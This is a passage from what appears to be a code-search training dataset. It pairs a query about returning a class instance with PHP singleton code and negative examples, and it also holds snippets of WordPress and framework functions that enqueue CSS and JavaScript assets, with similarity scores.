).'assets/font-awesome/css/font-awesome.min.css', array(), '1');\n\t\twp_enqueue_style( 'bs-validate-css', plugin_dir_url( __FILE__ ).'assets/css/min/bootstrapValidator.min.css', array(), '.52');\n\t}",
"private function load_admin_styles() {\n\n\t}",
"static function include_scripts(){\n\t\t//self::include_css();\n\t\tself::include_js();\n\t}",
"public function public_enqueue_styles() {\n wp_enqueue_style( 'jquery_focuspoint_css', plugin_dir_url( __FILE__ ) . 'css/focuspoint.css');\n }",
"public function loadConfigAssets()\r\n {\r\n $this->app->document->addScript('elements:imagebox/assets/js/myimage.js');\r\n $this->app->document->addStylesheet('elements:imagebox/assets/css/editoption.css');\r\n $this->app->document->addScript('elements:imagebox/assets/js/myoption.js');\r\n $this->app->document->addStylesheet('elements:option/option.css');\r\n }",
"private function _initJsCss(){\n\t\t$cs = Yii::app()->clientScript;\n\t\t$cs->registerCssFile(Yii::app()->baseUrl . '/css/admin/admin.css');\n\n\t}",
"public function enqueue_styles_and_scripts() {\n wp_enqueue_style($this->plugin_slug . '-plugin-styles', plugins_url('h5p/h5p-php-library/styles/h5p.css'), array(), self::VERSION);\n }",
"function cs_style_and_scripts() {\n \n\t\twp_enqueue_style( 'bootstrap-css', get_stylesheet_directory_uri() .'/public/css/vendor.css' );\n\t\twp_enqueue_style( 'bootstrap-css', get_stylesheet_directory_uri() .'/public/css/app.css' );\n wp_enqueue_style( 'main-css', get_stylesheet_uri() );\n\n /*wp_enqueue_script( 'myscripts', get_stylesheet_directory_uri() . '/assets/js/app.js', '', '1.0.0', true );\n wp_localize_script('myscripts', 'cs_obj', array(\n 'ajax_url' => admin_url('admin-ajax.php'),\n ));*/\n\n }",
"function achilles_scripts() {\n\t\n\t//main stylesheet for now\n\twp_enqueue_style('achilles_style', get_template_directory_uri() . '/style.css', false, '1.0');\n\t\n\t//Foundations stylesheet\n\twp_register_style( 'achilles_main', get_template_directory_uri(). '/css/app.css', false, '1.0');\n\t\n\t\n\twp_enqueue_style( 'achilles_main' );\n\t\n\t//Load built in jQuery from WordPress \n\t// @TODO: Load jQuery from CDN or Google\n\twp_enqueue_script( 'jquery' );\n}",
"function csu_hcfw_resources_load_scripts() {\n\twp_enqueue_style( 'csu-hcfw-resources-styles', plugin_dir_url( __FILE__ ) . 'includes/css/styles.css' );\n}",
"function init() {\r\n $this->load_upcss();\r\n }",
"public function enqueue_css_js() {\n\t\twp_enqueue_style('wp-pointer');\n\t\twp_enqueue_script('wp-pointer');\n\t}",
"public static function wp_enqueue_scripts() {\n\t\t\t\n\t\t\tWPPFrontendUI::_register_styles();\n\t\t\t\n\t\t}",
"function mgr_add_scripts(){\n wp_enqueue_style('mgr-main-style',plugins_url().'/includes/my-github-repos/css/style.css');\n wp_enqueue_script('mgr-main-script',plugins_url().'/includes/my-github-repos/js/main.js');\n}",
"function libertyjs_styles() {\n\twp_enqueue_style( 'source-sans-font', 'https://fonts.googleapis.com/css?family=Source+Sans+Pro:200,300,400,600,700,900' );\n\twp_enqueue_style( 'libertyjs-style', get_template_directory_uri() . '/style.css' );\n\twp_enqueue_script( 'libertyjs-scripts', get_template_directory_uri() . '/index.js' );\n}",
"function load_stylesheets()\n{\n // 1. Download bootstrap css from serwer (katalog otoedu)\n wp_register_style('bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array(), false, 'all');\n wp_enqueue_style('bootstrap');\n\n // 2. Download style css from serwer (katalog otoedu)\n // It is my style (not bootstrap). That must be second position\n wp_register_style('style', get_template_directory_uri() . '/style.css', array(), false, 'all');\n wp_enqueue_style('style');\n}",
"function gucci_styles() {\n\t// Load main stylesheet\n\twp_enqueue_style('gucci-style', get_template_directory_uri() . '/library/dist/css/style.css');\n\t// Load main javascript\n\twp_enqueue_script('gucci-script', get_template_directory_uri() . '/library/dist/js/functions.min.js', array('jquery'), '1.0', true);\n}",
"static function styles()\n\t{\n\t\twp_enqueue_style( 'jumplead_styles', self::$path . 'c/jumplead.css', array('dashicons'), JUMPLEAD_VERSION );\n\t}",
"public function getStyleLoader();",
"function styles() {\n\twp_enqueue_style(\n\t\t'deadpoo-main',\n\t\tDIE_URL . '/assets/css/dist/main.css',\n\t\t[],\n\t\tfalse\n\t);\n}",
"public function __construct()\n {\n $this->style = file_get_contents(__DIR__ . '/style.css');\n //load scripts.js into $scripts\n $this->scripts = file_get_contents(__DIR__ . '/scripts.js');\n }",
"function load_scripts(){\n wp_enqueue_style('styles', plugin_dir_url( __FILE__ ) . 'stylesheet/styles.css');\n}",
"function init() {\n $this->enqueue_script();\n $this->localize_script();\n $this->stylize();\n }",
"function kmz_gr_css_js(){\n wp_enqueue_style('kmz_gr_style', plugin_dir_url(__FILE__) . 'css/style.css');\n wp_enqueue_script('kmz_gr_script', plugin_dir_url(__FILE__) . 'js/script.js', array('jquery'), '0.0.1', true);\n}",
"function mightyResources() {\n $css_file = get_stylesheet_directory() . '/dist/assets/css/style.min.css';\n wp_enqueue_style('theme', get_stylesheet_directory_uri() . '/dist/assets/css/style.min.css', '', date('m.d.Y.H.i.s', filemtime($css_file)));\n\t\twp_dequeue_style('wp-block-library');\n\n wp_deregister_script('jquery');\n wp_register_script('jquery', ('//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js'), '', '2.2.4', false);\n wp_enqueue_script('jquery');\n\n // wp_enqueue_script('fontawesome-kit', '//kit.fontawesome.com/72e34829c8.js', '', '1.0', false);\n\t\twp_enqueue_script('google-maps', '//maps.googleapis.com/maps/api/js?key=AIzaSyClqC80DXd3luWXcJZ-a0odx1q6ddTDVr0', '', '1.0', false);\n\n\t\twp_enqueue_script('aos', '//unpkg.com/[email protected]/dist/aos.js', '', '2.3.1', true);\n wp_enqueue_script('theme', get_stylesheet_directory_uri() . '/dist/assets/js/scripts.min.js', ['jquery'], '1.0.6', true);\n\n\t\twp_localize_script('theme', 'globalVar', array(\n\t\t 'themePath' => get_template_directory_uri(),\n\t\t));\n }",
"public function enqueue_scripts() {\n\t\twp_add_inline_style( 'at-main', $this->inline_css() );\n\t}",
"function goodrds_scripts() {\n\t\twp_register_style( 'goodrds_css', plugins_url('goodrds.css', __FILE__), false, '0.1' );\n\t\twp_enqueue_style( 'goodrds_css' );\n\n\t\twp_register_script( 'goodrds_js', plugins_url('goodrds.js', __FILE__), array('jquery'), '0.1', true );\n\t\twp_enqueue_script( 'goodrds_js' );\n\t}",
"public function config_page_styles() {\n\t\twp_enqueue_style( 'yseo-gc-admin-css', HS_DOCS_API_DIR_URL . 'css/dist/admin.css', null, HS_DOCS_API_PLUGIN_VERSION );\n\t}",
"function microsite_scripts_styles() {\n wp_enqueue_style('style', get_stylesheet_uri(), array(), '1.0.0');\n}",
"public function loadAssets() {\r\n\t\tparent::loadAssets();\r\n\t\t$this->app->document->addScript('elements:download/assets/js/download.js');\r\n\t}",
"function cjpopups_frontend_scripts(){\n\t$wp_version = get_bloginfo('version');\n\t$item_version = cjpopups_item_info('item_version');\n\tif(!is_admin()){\n\t\twp_register_style( 'cj-frontend-css', cjpopups_item_path('framework_url').'/assets/frontend/css/cj-global.css', null, $item_version, 'screen' );\n\t\twp_enqueue_style( 'cj-frontend-css' );\n\t}\n}",
"private static function defCssLoader() {\n\n\t\t$loadedResources = Yii::app()->user->getState('nlsLoadedResources');\n\t\tif (!isset($loadedResources))\n\t\t\t$loadedResources = array();\t\t\n\t\t\n\t\t$hk = '__defCssLoader';\n\t\t$inCache = isset($loadedResources[$hk]);\n\n\t\tif ($inCache)\n\t\t\treturn '';\n\t\n\t\t$loadedResources[$hk] = $hk;\n\t\tYii::app()->user->setState('nlsLoadedResources', $loadedResources);\n\n\t\treturn CHtml::script('\n//css loader\n__loadCss = function(f, media) {\n\tvar a = document.createElement(\"link\");\n\ta.rel=\"stylesheet\";\n\ta.type=\"text/css\";\n\ta.media=media||\"screen\";\n\ta.href=f;\n\t(document.getElementsByTagName(\"head\"))[0].appendChild(a);\n};\n');\n\t\t\t\n\t}",
"public function load_assets() {\n\t\twponion_load_core_assets( $this->option( 'assets' ) );\n\t}",
"public function initialize_scripts_and_styles() {\n\t\tTypes_Asset_Manager::get_instance();\n\t}",
"function add_qoorate_stylesheet(){\n\t\t// TODO: make call to get styles from QOORATE\n\t\t// MAYBE TODO: cacheing ... place in DB options?\n\t\t\n\t\t//$styleUrl = plugins_url('/css/guthrie.css', __FILE__);\n\t\t//$styleFile = WP_PLUGIN_DIR . '/guthrie/css/guthrie.css';\n\t\t//if ( file_exists($styleFile) ) {\n\t\t//\t\t//echo($styleUrl.\"<br />\");\n\t\t//\t\twp_register_style('guthrie', $styleUrl);\n\t\t//\t\twp_enqueue_style('guthrie');\n\t\t//}\n\t\t// unregister our really old jquery bundled with WP\n\t\t// Maybe we can keep it? should it be an option?\n\t\twp_deregister_script( 'jquery' );\n\t\twp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js' );\n\t\twp_enqueue_script( 'jquery' );\n\t}",
"public static function css();",
"static function enqueue_scripts(){\n\t\tself::include_css();\n\t\tself::include_js();\n\t}",
"function init() {\n\n\t\twp_register_style( THEME_PREFIX . '/copy', get_theme_file_url( 'assets/critical/copy.min.css' ), null, 'init' );\n\n\t\tCalyx()->_register_vendor_assets();\n\n\t\twp_register_script( THEME_PREFIX . '/script_object', get_theme_file_url( 'assets/js/calyx.min.js' ), null, 'init' );\n\n\t\t\t$localize_args = array(\n\t\t\t\t'_site' => home_url(),\n\t\t\t\t'_rest' => home_url( 'wp-json' ),\n\t\t\t\t'_ajax' => admin_url( 'admin-ajax.php' ),\n\n\t\t\t\t '_server_high_load' => json_encode( Calyx()->server()->is_high_load() ),\n\t\t\t\t'_server_extreme_load' => json_encode( Calyx()->server()->is_extreme_load() ),\n\t\t\t\t '_webfontloader' => json_encode( Calyx()->get_webfontloader_settings() ),\n\t\t\t);\n\n\t\t\tis_admin() && $localize_args['_admin'] = json_encode( true );\n\n\t\t\twp_localize_script( THEME_PREFIX . '/script_object', '_' . THEME_PREFIX . '_data', $localize_args );\n\n\t}",
"public function load_admin_scripts()\n {\n // Enqueue styles\n wp_enqueue_style('soccerpress', plugins_url('assets/css/soccerpress.css', __FILE__), array(), '1.0.0', false);\n wp_enqueue_style('bootstrap-css', plugins_url('assets/css/bootstrap.min.css', __FILE__), array(), '4.3.1', false);\n\n // Enqueue scripts\n wp_register_script('bootstrap-js', plugins_url('assets/js/bootstrap.min.js', __FILE__), array(), '4.3.1', false);\n }",
"public function initialize()\n {\n // $this->view->setTemplateBefore('public');\n // $this->view->setTemplateBefore('coba');\n if ($this->session->has('auth-identity')) {\n // $this->view->setTemplateBefore('private');\n $this->view->setTemplateBefore('cobaprivate');\n }else {\n // $this->view->setTemplateBefore('public');\n $this->view->setTemplateBefore('coba');\n }\n\n // Add some local CSS resources\n $this->assets->addCss(\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\");\n $this->assets->addCss(\"css/font-awesome.min.css\");\n $this->assets->addCss(\"css/animate.min.css\");\n $this->assets->addCss(\"css/prettyPhoto.css\");\n $this->assets->addCss(\"css/main.css\");\n $this->assets->addCss(\"css/responsive.css\");\n\n // And some local JavaScript resources\n $this->assets->addJs(\"//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\");\n $this->assets->addJs(\"js/jquery.js\");\n $this->assets->addJs(\"js/bootstrap.min.js\");\n $this->assets->addJs(\"js/main.js\");\n $this->assets->addJs(\"js/jquery.prettyPhoto.js\");\n $this->assets->addJs(\"js/jquery.isotope.min.js\");\n $this->assets->addJs(\"js/wow.min.js\");\n }"
]
| [
"0.7654238",
"0.7564632",
"0.72757614",
"0.7016578",
"0.6962829",
"0.684505",
"0.6837657",
"0.665632",
"0.6591868",
"0.65871626",
"0.6580153",
"0.6579697",
"0.6556943",
"0.6553309",
"0.6531456",
"0.65093887",
"0.6469293",
"0.64661944",
"0.6462617",
"0.6419257",
"0.6393414",
"0.6387365",
"0.6374472",
"0.63622344",
"0.63502634",
"0.63502634",
"0.63445497",
"0.6333552",
"0.6321324",
"0.6307997",
"0.6297212",
"0.62842804",
"0.6273799",
"0.62726784",
"0.6264057",
"0.62561953",
"0.62553877",
"0.6243172",
"0.62298095",
"0.62280834",
"0.62243545",
"0.622324",
"0.6214129",
"0.620733",
"0.6193726",
"0.61851317",
"0.61725336",
"0.6158563",
"0.6156933",
"0.6141282",
"0.6137876",
"0.61369544",
"0.611845",
"0.61118937",
"0.61048377",
"0.6103665",
"0.60949695",
"0.60944337",
"0.60910934",
"0.6085766",
"0.60780764",
"0.60635513",
"0.60559416",
"0.6053602",
"0.60523283",
"0.604931",
"0.60483205",
"0.60379004",
"0.6028755",
"0.60239285",
"0.6022275",
"0.6020433",
"0.6016216",
"0.59973025",
"0.59951085",
"0.599134",
"0.5989636",
"0.5988996",
"0.5988249",
"0.5987668",
"0.5986125",
"0.5979039",
"0.5977247",
"0.597373",
"0.5966784",
"0.59602106",
"0.5956015",
"0.59543204",
"0.59518",
"0.5950741",
"0.5950046",
"0.5944985",
"0.5941707",
"0.5938833",
"0.5936461",
"0.5920879",
"0.5917913",
"0.5907252",
"0.5899686",
"0.58794785",
"0.58790416"
]
| 0.0 | -1 |
Return the plugin slug. | public function get_plugin_slug() {
return $this->plugin_slug;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function get_plugin_slug()\n {\n }",
"public function get_plugin_slug() {\n return $this->plugin_slug;\n }",
"public function get_slug() {\n\n\t\t$plugin_data = $this->client->get_plugin_update_info();\n\t\t$slug = $plugin_data->slug;\n\n\t\treturn $slug;\n\n\t}",
"function pp_plugin_slug( $path = '' ) {\n\n\t$parts = array_filter( explode( '/', $path ) );\n\treturn end( $parts );\n\n}",
"public function getSlug()\n {\n return $this->provider .'-'. str_replace('_', '-', $this->postId);\n }",
"public function getSlug()\n {\n return $this->__get(self::FIELD_SLUG);\n }",
"public function getSlug()\n {\n return (! $this->isExtension) ? $this->blockSlug : $this->extensionSlug;\n }",
"public function getSlug()\n {\n $slug = $this->cekUrl(str_slug($this->param));\n return $slug;\n }",
"public function getSlug()\n\t{\n\t\treturn self::buildSlug();\n\t}",
"public function get_slug() {\n\t\treturn self::SLUG;\n\t}",
"protected function getSlug()\n {\n return trim(str_replace($this->website->domain, '', $this->getStrippedUrl()), '/') ?: '/';\n }",
"public function getSlug();",
"public function getSlug();",
"public function getSlug();",
"public function getSlug();",
"public function getSlug(): string\n {\n return $this->slug;\n }",
"public function get_slug() {\n\t\treturn $this->slug;\n\t}",
"public function getSlug()\n {\n if (!isset($this->slug))\n {\n $this->slug = $this->getHelper()->getSlugFromPath($this->getPathname());\n }\n\n return $this->slug;\n }",
"public static function getSlug(): string\n {\n return static::SLUG;\n }",
"public function getSlug()\n {\n return $this->sSlug;\n }",
"public function getSlug()\n {\n return $this->getCurrentTranslation()->getSlug() ?: 'n-a';\n }",
"public function get_slug()\n {\n return $this->slug;\n }",
"private final function getSlug()\n {\n $className = get_called_class();\n $className = explode('\\\\', $className);\n return end($className);\n }",
"public function slug()\n\t{\n\t\treturn $this->slug;\n\t}",
"private function get_basename() : string {\n return plugin_basename( dirname( __FILE__, 2 ) ) . Config::PLUGIN_NAME . '.php';\n }",
"public function getSlug()\n\t{\n\t\t$name = get_class($this);\n\t\t$name = str_replace('\\\\', '/', $name);\n\t\t$name = basename($name);\n\n\t\treturn strtolower($name);\n\t}",
"public function getSlug()\n {\n return $this->slug;\n }",
"public function getSlug()\n {\n return $this->slug;\n }",
"public function getSlug()\n {\n return $this->slug;\n }",
"public function getSlug()\n {\n return $this->slug;\n }",
"public function getSlug()\n {\n return $this->slug;\n }",
"public function getSlug()\n {\n return $this->slug;\n }",
"public function get_source_slug();",
"public function getSlug()\n\t{\n\t\treturn $this->slug;\n\t}",
"public function getSlug()\n\t{\n\t\treturn $this->slug;\n\t}",
"public function getSlug()\n\t{\n\t\treturn $this->slug;\n\t}",
"public function getSlug() {\n return $this->slug;\n }",
"public function getSlug()\n {\n return $this->getValue('nb_catalog_item_lang_slug');\n }",
"public function get_plugin_url() {\n\n\t\t\treturn str_replace( '/classes', '/', untrailingslashit( plugins_url( '/', __FILE__ ) ) );\n\n\t\t}",
"public function plugin_url() {\n return untrailingslashit( plugins_url( '/', __FILE__ ) );\n }",
"public function getSlug()\n\t\t{\n\t\t\treturn $this->_slug;\n\t\t}",
"public function getSlug()\n\t\t{\n\t\t\treturn $this->_slug;\n\t\t}",
"public static function plugin_url() {\n return untrailingslashit( plugins_url( '/', __FILE__ ) );\n }",
"public function slug()\n\t{\n\t\t$explode = explode('/', $this->getField('key'));\n\n\t\t// Check if the page have a parent.\n\t\tif(!empty($explode[1])) {\n\t\t\treturn $explode[1];\n\t\t}\n\n\t\treturn $explode[0];\n\t}",
"public function getSlug()\n\t{\n\t\treturn strtolower($this->getName());\n\t}",
"public function slug() {\n\t\treturn $this->createSlug($this->title);\n\t}",
"public function plugin_url() {\n\t\treturn untrailingslashit( plugins_url( '/', __FILE__ ) );\n\t}",
"public function getSlug()\n {\n return $this->slug ?? $this->id;\n }",
"public function plugin_url() {\n\t\t\treturn untrailingslashit( plugins_url( '/', __FILE__ ) );\n\t\t}",
"public function plugin_url() {\n\t\t\treturn untrailingslashit( plugins_url( '/', __FILE__ ) );\n\t\t}",
"public function plugin_url() {\n\t\t\treturn untrailingslashit( plugins_url( '/', __FILE__ ) );\n\t\t}",
"public function getSlug(): string\n {\n return $this->name_slug;\n }",
"protected function getSlug(){\n $this->Name = UrlUtils::getSlug($this->FriendlyName);\n return $this->Name;\n }",
"public function basename() {\n\t\treturn plugin_basename( $this->main_file );\n\t}",
"public function slug();",
"public function slug();",
"public function generateSlug();",
"public function slug(): string;",
"public static function plugin_url() {\n\t\t\treturn untrailingslashit( plugins_url( '/', DAHZEXTENDER_PLUGIN_FILE ) );\n\t\t}",
"public function getSlug() : string\n {\n return 'template';\n }",
"public function plugin_url(){\n return trailingslashit(plugin_dir_url( __FILE__ ));\n }",
"public static function getPluginUrl()\n {\n return isset(self::$pluginUrl) ? self::$pluginUrl : plugin_dir_url(dirname(__FILE__));\n }",
"public function get_plugin_name() {\n return $this->plugin_name;\n }",
"public function wpAjaxSlug()\n\t{\n\t\treturn $this->getSlug();\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name() {\n\t\treturn $this->plugin_name;\n\t}",
"public function get_plugin_name()\n {\n return $this->plugin_name;\n }",
"public function getSlug()\n\t{\n\t\t$posttype_class = get_called_class();\n\t\treturn ( string ) $posttype_class::$post_type;\n\t}",
"public function get_locale() {\n return $this->plugin_slug;\n }",
"public function getSlug() : string\n {\n return 'support';\n }",
"protected function get_plugin_path()\n {\n // phpcs:enable PSR1.Methods.CamelCapsMethodName.NotCamelCaps\n $url = '';\n if (function_exists('plugins_url')) {\n if (plugins_url()) {\n $url = plugins_url().\"/bmlt-wordpress-satellite-plugin/vendor/bmlt/bmlt-satellite-base-class/\";\n } elseif (defined('WP_PLUGIN_URL')) {\n $url = WP_PLUGIN_URL.\"/bmlt-wordpress-satellite-plugin/vendor/bmlt/bmlt-satellite-base-class/\";\n } else {\n echo \"<!-- BMLTPlugin ERROR (get_plugin_path)! Empty plugins_url() and no WP_PLUGIN_URL! -->\";\n }\n } elseif (!function_exists('plugins_url') && defined('WP_PLUGIN_URL')) {\n $url = WP_PLUGIN_URL.\"/bmlt-wordpress-satellite-plugin/vendor/bmlt/bmlt-satellite-base-class/\";\n } else {\n echo \"<!-- BMLTPlugin ERROR (get_plugin_path)! No plugins_url() and no WP_PLUGIN_URL! -->\";\n }\n \n return $url;\n }",
"public function getTemplateSlug(): string;",
"function plugin_url() {\n\t\treturn untrailingslashit( plugin_dir_url( __FILE__ ) );\n\t}",
"public function slug()\n {\n return $this->username ? : $this->slug;\n }",
"function plugin_url() {\n if ( $this->plugin_url ) return $this->plugin_url;\n\n return $this->plugin_url = plugins_url( basename( plugin_dir_path(__FILE__) ), basename( __FILE__ ) );\n }",
"public function get_slug() {\n\t\tif ( ! empty( $this->data->slug ) )\n\t\t\treturn $this->data->slug;\n\t\telse\n\t\t\treturn false;\n\t}",
"public function getSlug()\n {\n /** @var \\Dimsav\\Translatable\\Translatable $this */\n /** @var \\Cviebrock\\EloquentSluggable\\SluggableInterface $translation */\n $translation = $this->getTranslation();\n\n if (empty($translation)) return null;\n\n return $translation->getSlug();\n }",
"function get_the_slug() {\n\treturn basename(get_permalink());\n}",
"public function get_plugin_name()\n {\n }",
"public function get_plugin_path( $slug ) {\n\t\tswitch ( $slug ) {\n\t\t\tcase 'mailin':\n\t\t\t\treturn $slug . '/sendinblue.php';\n\t\t\t\tbreak;\n\t\t\tcase 'wpforms-lite':\n\t\t\t\treturn $slug . '/wpforms.php';\n\t\t\t\tbreak;\n\t\t\tcase 'intergeo-maps':\n\t\t\tcase 'visualizer':\n\t\t\tcase 'translatepress-multilingual':\n\t\t\t\treturn $slug . '/index.php';\n\t\t\t\tbreak;\n\t\t\tcase 'beaver-builder-lite-version':\n\t\t\t\treturn $slug . '/fl-builder.php';\n\t\t\t\tbreak;\n\t\t\tcase 'adblock-notify-by-bweb':\n\t\t\t\treturn $slug . '/adblock-notify.php';\n\t\t\t\tbreak;\n\t\t\tcase 'feedzy-rss-feeds':\n\t\t\t\treturn $slug . '/feedzy-rss-feed.php';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn $slug . '/' . $slug . '.php';\n\t\t}\n\t}",
"public function getPluginName() {\n return $this->plugin_name;\n }",
"public function getPluginName() {\n return $this->plugin_name;\n }",
"public function getPluginUrl (): string {\n return $this->pluginUrl;\n }",
"public function getPluginName() {}",
"function pnq_get_theme_slug() {\n\t$theme_name = pnq_get_theme_name();\n\t$theme_slug = pnq_str_to_slug( $theme_name );\n\t\n\t// apply filter 'pnq_theme_slug'\n\t$theme_slug = pnq_theme_slug( $theme_slug );\n\t\n\treturn $theme_slug;\t\n}",
"public function getPluginName() {\n\t\treturn $this->_pluginName;\n\t}",
"public function getPluginPrefix() {\n return str_replace('-','_',$this->plugin_name);\n }"
]
| [
"0.87409496",
"0.85446507",
"0.8133728",
"0.7864804",
"0.7570945",
"0.74676234",
"0.74396443",
"0.7411409",
"0.73447526",
"0.7317294",
"0.7303808",
"0.72895306",
"0.72895306",
"0.72895306",
"0.72895306",
"0.7197523",
"0.716043",
"0.7157215",
"0.7154798",
"0.7152662",
"0.7138134",
"0.71300226",
"0.71234554",
"0.71119463",
"0.7100456",
"0.70609045",
"0.70463324",
"0.70463324",
"0.70463324",
"0.70463324",
"0.70463324",
"0.70463324",
"0.7045919",
"0.7014741",
"0.7014741",
"0.7014741",
"0.69970924",
"0.6980325",
"0.6963413",
"0.69618547",
"0.69607484",
"0.69607484",
"0.6949273",
"0.6943644",
"0.6919863",
"0.6917465",
"0.6915174",
"0.689424",
"0.6892365",
"0.6892365",
"0.6892365",
"0.68912685",
"0.68567705",
"0.6855721",
"0.68285197",
"0.68285197",
"0.68149376",
"0.6797075",
"0.6795749",
"0.67831033",
"0.67812103",
"0.6768248",
"0.6765708",
"0.6761257",
"0.6731096",
"0.6731096",
"0.6731096",
"0.6731096",
"0.6731096",
"0.6731096",
"0.6731096",
"0.6731096",
"0.6731096",
"0.67309725",
"0.67223716",
"0.6708268",
"0.6707676",
"0.6699013",
"0.66943645",
"0.665859",
"0.66501445",
"0.6640031",
"0.66318536",
"0.662654",
"0.6626513",
"0.66181016",
"0.65911835",
"0.658414",
"0.658414",
"0.6579714",
"0.65718746",
"0.6567231",
"0.6562108",
"0.65402824"
]
| 0.8528493 | 8 |
Return an instance of this class. | public static function get_instance() {
// If the single instance hasn't been set, set it now.
if ( null == self::$instance ) {
self::$instance = new self;
}
return self::$instance;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public static function instance() {\n\t\treturn new self;\n\t}",
"public function instance() {\n\t\n\t\treturn $this;\n\t\n\t}",
"public function getInstance()\n {\n return $this;\n }",
"public function getInstance(): self\n {\n return $this;\n }",
"public static function getInstance() {\n return new self();\n }",
"public function get_instance()\n\t{\n\t\treturn $this;\n\t}",
"public function get_instance()\n\t{\n\t\treturn $this;\n\t}",
"public static function getInstance()\n {\n return new self();\n }",
"public static function instance() {\n\n\t\t\tif ( is_null( self::$instance ) ) {\n\t\t\t\tself::$instance = new self();\n\t\t\t}\n\n\t\t\treturn self::$instance;\n\n\t\t}",
"public static function self() {\n\n\t\treturn self::factory( 'self' );\n\t}",
"public function newInstance()\n {\n return new self();\n }",
"public static function self() {\n\n\t\treturn self::factory( 'self' );\n\n\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$_instance ) )\n\t\t\t\tself::$_instance = new self();\n\n\t\t\treturn self::$_instance;\n\t\t}",
"public function __construct() {\n return $this;\n }",
"public static function get()\n\t{\n\t\tif(null == self::$_instance)\n\t\t{\n\t\t\treturn new self();\n\t\t}\n\n\t\treturn self::$_instance;\n\t}",
"public function __construct ()\n {\n return this;\n }",
"public static function get()\n {\n if (is_null(self::$instance)) {\n self::$instance = new self();\n }\n return self::$instance;\n }",
"public static function instance() {\n\t\t\tif ( is_null( self::$instance ) ) {\n\t\t\t\tself::$instance = new self();\n\t\t\t}\n\n\t\t\treturn self::$instance;\n\t\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$instance ) ) {\n\t\t\t\tself::$instance = new self();\n\t\t\t}\n\n\t\t\treturn self::$instance;\n\t\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$_instance ) ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$_instance ) ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$_instance ) ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$_instance ) ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$_instance ) ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance() {\n\t\t\tif ( is_null( self::$_instance ) ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance() {\n\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\n\t\treturn self::$_instance;\n\n\t}",
"public static function instance() {\n\t\t\tif ( ! self::$_instance ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance () {\n if ( is_null( self::$_instance ) ) {\n self::$_instance = new self();\n }\n return self::$_instance;\n }",
"public static function get() \n {\n if (!isset(self::$instance)) {\n self::$instance = new self;\n }\n\n return self::$instance;\n }",
"public static function instance() {\n return new static();\n }",
"public static function newInstance()\n {\n $instance = new self;\n return $instance;\n }",
"public static function get() {\n\t\tif ( self::$instance === null )\n\t\t\tself::$instance = new self();\n\n\t\treturn self::$instance;\n\t}",
"public static function make() {\n return new self();\n }",
"public static function instance () {\n\t\tif ( is_null( self::$_instance ) )\n\t\t\tself::$_instance = new self();\n\t\treturn self::$_instance;\n\t}",
"public static function instance()\n {\n return new static();\n }",
"public static function instance()\n {\n return new static();\n }",
"public static function get() {\r\n\r\n\t\tif ( self::$instance == null ) {\r\n\t\t\tself::$instance = new self();\r\n\t\t}\r\n\r\n\t\treturn self::$instance;\r\n\r\n\t}",
"public function instance();",
"public static function instance() {\n\t if ( !isset( self::$instance ) ) {\n\t $className = __CLASS__;\n\t self::$instance = new $className;\n\t }\n\t return self::$instance;\n\t }",
"public static function instance() {\n\t\tstatic $instance;\n\n\t\tif ( empty( $instance ) ) {\n\t\t\t$instance = new self();\n\t\t}\n\n\t\treturn $instance;\n\t}",
"public static function instance()\r\n\t\t{\r\n\t\t\t\r\n\t\t\tif ( ! self::$instance instanceof self )\r\n\t\t\t{\r\n\t\t\t\tself::$instance = new self;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn self::$instance;\r\n\t\t}",
"public static function get_instance() {\n\n if ( ! self::$instance instanceof self ) {\n self::$instance = new self;\n }\n\n return self::$instance;\n\n }",
"public static function instance() {\n\t\t\tif ( null === self::$_instance ) {\n\t\t\t\tself::$_instance = new self();\n\t\t\t}\n\t\t\treturn self::$_instance;\n\t\t}",
"public static function instance() {\n if ( is_null( self::$_instance ) ) {\n self::$_instance = new self();\n }\n return self::$_instance;\n }",
"public static function instance() {\n if ( is_null( self::$_instance ) ) {\n self::$_instance = new self();\n }\n return self::$_instance;\n }",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\n\t\treturn self::$_instance;\n\t}",
